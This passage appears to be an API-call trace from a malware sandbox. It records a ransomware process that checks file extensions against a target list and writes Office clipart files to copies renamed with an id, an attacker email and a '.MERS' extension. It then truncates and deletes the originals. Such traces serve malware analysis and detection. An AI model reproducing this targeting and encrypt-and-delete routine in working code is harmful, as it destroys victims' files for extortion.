lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.439] lstrlenW (lpString=".rar") returned 4 [0272.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.439] lstrlenW (lpString=".bz2") returned 4 [0272.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.439] lstrlenW (lpString=".7z") returned 3 [0272.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.439] lstrlenW (lpString=".dbf") returned 4 [0272.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.439] lstrlenW (lpString=".1cd") returned 4 [0272.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.439] lstrlenW (lpString=".jpg") returned 4 [0272.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.439] lstrlenW (lpString=".doc") returned 4 [0272.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.439] lstrlenW (lpString=".docx") returned 5 [0272.439] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.439] lstrlenW (lpString=".pdf") returned 4 [0272.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.440] lstrlenW (lpString=".xls") returned 4 [0272.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.440] lstrlenW (lpString=".xlsx") returned 5 [0272.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.440] lstrlenW (lpString=".ppt") returned 4 [0272.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.440] lstrlenW (lpString=".zip") returned 4 [0272.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.440] lstrlenW (lpString=".rar") returned 4 [0272.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.440] lstrlenW (lpString=".bz2") returned 4 [0272.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.440] lstrlenW (lpString=".7z") returned 3 [0272.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.440] lstrlenW (lpString=".dbf") returned 4 [0272.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.440] lstrlenW (lpString=".1cd") returned 4 [0272.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0272.440] lstrlenW (lpString=".jpg") returned 4 [0272.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.440] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.440] lstrlenW (lpString="BL00269_.WMF") returned 12 [0272.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.443] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=5272) returned 1 [0272.443] CloseHandle (hObject=0x410) returned 1 [0272.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0272.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.443] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.443] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.443] GetLastError () returned 0x0 [0272.443] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1498, lpOverlapped=0x0) returned 1 [0272.469] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0272.470] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.470] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.470] SetEndOfFile (hFile=0x3a8) returned 1 [0272.470] CloseHandle (hObject=0x3a8) returned 1 [0272.470] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.470] SetEndOfFile (hFile=0x410) returned 1 [0272.472] CloseHandle (hObject=0x410) returned 1 [0272.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0272.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.472] lstrlenW (lpString=".doc") returned 4 [0272.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.472] lstrlenW (lpString=".docx") returned 5 [0272.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.472] lstrlenW (lpString=".pdf") returned 4 [0272.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.472] lstrlenW (lpString=".xls") returned 4 [0272.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.472] lstrlenW (lpString=".xlsx") returned 5 [0272.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.472] lstrlenW (lpString=".ppt") returned 4 [0272.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.472] lstrlenW (lpString=".zip") returned 4 [0272.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.472] lstrlenW (lpString=".rar") returned 4 [0272.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString=".bz2") returned 4 [0272.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString=".7z") returned 3 [0272.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.473] lstrlenW (lpString=".dbf") returned 4 [0272.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.473] lstrlenW (lpString=".1cd") returned 4 [0272.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.473] lstrlenW (lpString=".jpg") returned 4 [0272.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.473] lstrlenW (lpString=".doc") returned 4 [0272.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString=".docx") returned 5 [0272.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.473] lstrlenW (lpString=".pdf") returned 4 [0272.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString=".xls") returned 4 [0272.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.473] lstrlenW (lpString=".xlsx") returned 5 [0272.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.473] lstrlenW (lpString=".ppt") returned 4 [0272.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.473] lstrlenW (lpString=".zip") returned 4 [0272.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.473] lstrlenW (lpString=".rar") returned 4 [0272.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString=".bz2") returned 4 [0272.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.474] lstrlenW (lpString=".7z") returned 3 [0272.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.474] lstrlenW (lpString=".dbf") returned 4 [0272.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.474] lstrlenW (lpString=".1cd") returned 4 [0272.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0272.474] lstrlenW (lpString=".jpg") returned 4 [0272.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.474] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.474] lstrlenW (lpString="BL00274_.WMF") returned 12 [0272.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.474] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=4164) returned 1 [0272.474] CloseHandle (hObject=0x410) returned 1 [0272.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0272.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.475] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.475] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.476] GetLastError () returned 0x0 [0272.476] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1044, lpOverlapped=0x0) returned 1 [0272.519] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1050, lpOverlapped=0x0) returned 1 [0272.520] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.520] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.520] SetEndOfFile (hFile=0x3a8) returned 1 [0272.520] CloseHandle (hObject=0x3a8) returned 1 [0272.520] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.520] SetEndOfFile (hFile=0x410) returned 1 [0272.522] CloseHandle (hObject=0x410) returned 1 [0272.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0272.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.522] lstrlenW (lpString=".doc") returned 4 [0272.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.522] lstrlenW (lpString=".docx") returned 5 [0272.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.522] lstrlenW (lpString=".pdf") returned 4 [0272.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.522] lstrlenW (lpString=".xls") returned 4 [0272.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.522] lstrlenW (lpString=".xlsx") returned 5 [0272.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.522] lstrlenW (lpString=".ppt") returned 4 [0272.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.522] lstrlenW (lpString=".zip") returned 4 [0272.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.523] lstrlenW (lpString=".rar") returned 4 [0272.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.523] lstrlenW (lpString=".bz2") returned 4 [0272.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.523] lstrlenW (lpString=".7z") returned 3 [0272.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.523] lstrlenW (lpString=".dbf") returned 4 [0272.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.523] lstrlenW (lpString=".1cd") returned 4 [0272.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.523] lstrlenW (lpString=".jpg") returned 4 [0272.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.523] lstrlenW (lpString=".doc") returned 4 [0272.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.523] lstrlenW (lpString=".docx") returned 5 [0272.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.523] lstrlenW (lpString=".pdf") returned 4 [0272.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.523] lstrlenW (lpString=".xls") returned 4 [0272.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.523] lstrlenW (lpString=".xlsx") returned 5 [0272.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.523] lstrlenW (lpString=".ppt") returned 4 [0272.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.523] lstrlenW (lpString=".zip") returned 4 [0272.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.524] lstrlenW (lpString=".rar") returned 4 [0272.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.524] lstrlenW (lpString=".bz2") returned 4 [0272.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.524] lstrlenW (lpString=".7z") returned 3 [0272.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.524] lstrlenW (lpString=".dbf") returned 4 [0272.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.524] lstrlenW (lpString=".1cd") returned 4 [0272.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0272.524] lstrlenW (lpString=".jpg") returned 4 [0272.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.524] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.524] lstrlenW (lpString="BL00392_.WMF") returned 12 [0272.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.525] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=27050) returned 1 [0272.525] CloseHandle (hObject=0x410) returned 1 [0272.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0272.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.525] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.525] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.526] GetLastError () returned 0x0 [0272.526] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x69aa, lpOverlapped=0x0) returned 1 [0272.543] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0272.544] ReadFile (in: hFile=0x410, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.544] WriteFile (in: hFile=0x3a8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.544] SetEndOfFile (hFile=0x3a8) returned 1 [0272.544] CloseHandle (hObject=0x3a8) returned 1 [0272.544] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.544] SetEndOfFile (hFile=0x410) returned 1 [0272.546] CloseHandle (hObject=0x410) returned 1 [0272.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0272.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.547] lstrlenW (lpString=".doc") returned 4 [0272.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.547] lstrlenW (lpString=".docx") returned 5 [0272.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.547] lstrlenW (lpString=".pdf") returned 4 [0272.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.547] lstrlenW (lpString=".xls") returned 4 [0272.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.547] lstrlenW (lpString=".xlsx") returned 5 [0272.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.547] lstrlenW (lpString=".ppt") returned 4 [0272.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.547] lstrlenW (lpString=".zip") returned 4 [0272.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.547] lstrlenW (lpString=".rar") returned 4 [0272.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.547] lstrlenW (lpString=".bz2") returned 4 [0272.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.547] lstrlenW (lpString=".7z") returned 3 [0272.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.547] lstrlenW (lpString=".dbf") returned 4 [0272.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0272.548] lstrlenW (lpString=".1cd") returned 4 [0272.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.548] 